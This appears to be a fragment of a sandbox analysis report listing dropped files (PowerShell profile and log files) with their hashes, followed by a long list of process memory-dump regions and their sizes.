SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
20b2f6ad2d2accd37fbd46b9d9bf8989

SHA1
91db3ff9493d1ab55efb65b715a2a8c61a72adbd

SHA256
32fef7d0dd7c43bd3440fca325e363d04b667c385d13d4dd44528f35b0167bed

SHA512
acf13e39320da7837d169c2575d6575eb638f41f6deead0915785269effebe334adc5f8d73d6621aa4eea047b261fabd50ffc9449f47126953534059e8ff7501

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vdrm0vk4.2ih.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/2096-0-0x00007FF6DF060000-0x00007FF6DF271000-memory.dmp

Filesize
2.1MB

Download
memory/2096-37-0x00007FF6DF060000-0x00007FF6DF271000-memory.dmp

Filesize
2.1MB

Download
memory/2436-56-0x00007FF7686D0000-0x00007FF7688E1000-memory.dmp

Filesize
2.1MB

Download
memory/2436-124-0x00007FF7686D0000-0x00007FF7688E1000-memory.dmp

Filesize
2.1MB

Download
memory/3352-17-0x000001B97FCC0000-0x000001B97FD08000-memory.dmp

Filesize
288KB

Download
memory/3352-16-0x000001B97F280000-0x000001B97F29E000-memory.dmp

Filesize
120KB

Download
memory/3352-18-0x00007FFD36610000-0x00007FFD370D1000-memory.dmp

Filesize
10.8MB

Download
memory/3352-12-0x000001B97F2A0000-0x000001B97F2B0000-memory.dmp

Filesize
64KB

Download
memory/3352-13-0x000001B97F2A0000-0x000001B97F2B0000-memory.dmp

Filesize
64KB

Download
memory/3352-11-0x00007FFD36610000-0x00007FFD370D1000-memory.dmp

Filesize
10.8MB

Download
memory/3352-1-0x000001B97FC90000-0x000001B97FCB2000-memory.dmp

Filesize
136KB

Download
memory/3424-117-0x00007FFD35F40000-0x00007FFD36A01000-memory.dmp

Filesize
10.8MB

Download
memory/3424-115-0x000001B6F5E40000-0x000001B6F5E50000-memory.dmp

Filesize
64KB

Download
memory/3424-99-0x00007FFD35F40000-0x00007FFD36A01000-memory.dmp

Filesize
10.8MB

Download
memory/3424-104-0x000001B6F5E40000-0x000001B6F5E50000-memory.dmp

Filesize
64KB

Download
memory/3912-138-0x0000021CD4720000-0x0000021CD4740000-memory.dmp

Filesize
128KB

Download
memory/3912-153-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-185-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-183-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-181-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-179-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-177-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-175-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-173-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-171-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-169-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-167-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-165-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-163-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-161-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-159-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-157-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-155-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-151-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-149-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-147-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-145-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-143-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-141-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-139-0x0000021CD4740000-0x0000021CD4760000-memory.dmp

Filesize
128KB

Download
memory/3912-126-0x0000021CD4020000-0x0000021CD4040000-memory.dmp

Filesize
128KB

Download
memory/3912-125-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-137-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-135-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-127-0x0000021CD4700000-0x0000021CD4720000-memory.dmp

Filesize
128KB

Download
memory/3912-133-0x0000021CD4740000-0x0000021CD4760000-memory.dmp

Filesize
128KB

Download
memory/3912-129-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-131-0x00007FF739D90000-0x00007FF73A584000-memory.dmp

Filesize
8.0MB

Download
memory/3912-132-0x0000021CD4720000-0x0000021CD4740000-memory.dmp

Filesize
128KB

Download
memory/3968-86-0x00000272EB250000-0x00000272EB258000-memory.dmp

Filesize
32KB

Download
memory/3968-92-0x00007FFD35F40000-0x00007FFD36A01000-memory.dmp

Filesize
10.8MB

Download
memory/3968-66-0x00007FFD35F40000-0x00007FFD36A01000-memory.dmp

Filesize
10.8MB

Download
memory/3968-68-0x00000272EA2A0000-0x00000272EA2B0000-memory.dmp

Filesize
64KB

Download
memory/3968-67-0x00000272EA2A0000-0x00000272EA2B0000-memory.dmp

Filesize
64KB

Download
memory/3968-79-0x00007FF49CE30000-0x00007FF49CE40000-memory.dmp

Filesize
64KB

Download
memory/3968-81-0x00000272EB040000-0x00000272EB0F5000-memory.dmp

Filesize
724KB

Download
memory/3968-88-0x00000272EB290000-0x00000272EB29A000-memory.dmp

Filesize
40KB

Download
memory/3968-87-0x00000272EB280000-0x00000272EB286000-memory.dmp

Filesize
24KB

Download
memory/3968-85-0x00000272EB2A0000-0x00000272EB2BA000-memory.dmp

Filesize
104KB

Download
memory/3968-89-0x00000272EA2A0000-0x00000272EA2B0000-memory.dmp

Filesize
64KB

Download
memory/3968-82-0x00000272EADD0000-0x00000272EADDA000-memory.dmp

Filesize
40KB

Download
memory/3968-83-0x00000272EB260000-0x00000272EB27C000-memory.dmp

Filesize
112KB

Download
memory/3968-80-0x00000272EA2A0000-0x00000272EA2B0000-memory.dmp

Filesize
64KB

Download
memory/3968-78-0x00000272EB020000-0x00000272EB03C000-memory.dmp

Filesize
112KB

Download
memory/3968-84-0x00000272EB240000-0x00000272EB24A000-memory.dmp

Filesize
40KB

Download
memory/3988-134-0x00007FF78C0E0000-0x00007FF78C0F6000-memory.dmp

Filesize
88KB

Download
memory/3988-128-0x00007FF78C0E0000-0x00007FF78C0F6000-memory.dmp

Filesize
88KB

Download
memory/4124-49-0x000001C5DD0A0000-0x000001C5DD0B0000-memory.dmp

Filesize
64KB

Download
memory/4124-48-0x00007FFD36610000-0x00007FFD370D1000-memory.dmp

Filesize
10.8MB

Download
memory/4124-53-0x000001C5C4B90000-0x000001C5C4BAE000-memory.dmp

Filesize
120KB

Download
memory/4124-55-0x00007FFD36610000-0x00007FFD370D1000-memory.dmp

Filesize
10.8MB

Download
memory/4124-54-0x000001C5DD040000-0x000001C5DD088000-memory.dmp

Filesize
288KB

Download
memory/4124-50-0x000001C5DD0A0000-0x000001C5DD0B0000-memory.dmp

Filesize
64KB

Download
memory/4916-35-0x00007FFD36610000-0x00007FFD370D1000-memory.dmp

Filesize
10.8MB

Download
memory/4916-31-0x000001E7E72E0000-0x000001E7E72F0000-memory.dmp

Filesize
64KB

Download
memory/4916-33-0x000001E7E72E0000-0x000001E7E72F0000-memory.dmp

Filesize
64KB

Download
memory/4916-30-0x00007FFD36610000-0x00007FFD370D1000-memory.dmp

Filesize
10.8MB

Download
memory/4916-32-0x000001E7E72E0000-0x000001E7E72F0000-memory.dmp

Filesize
64KB

Download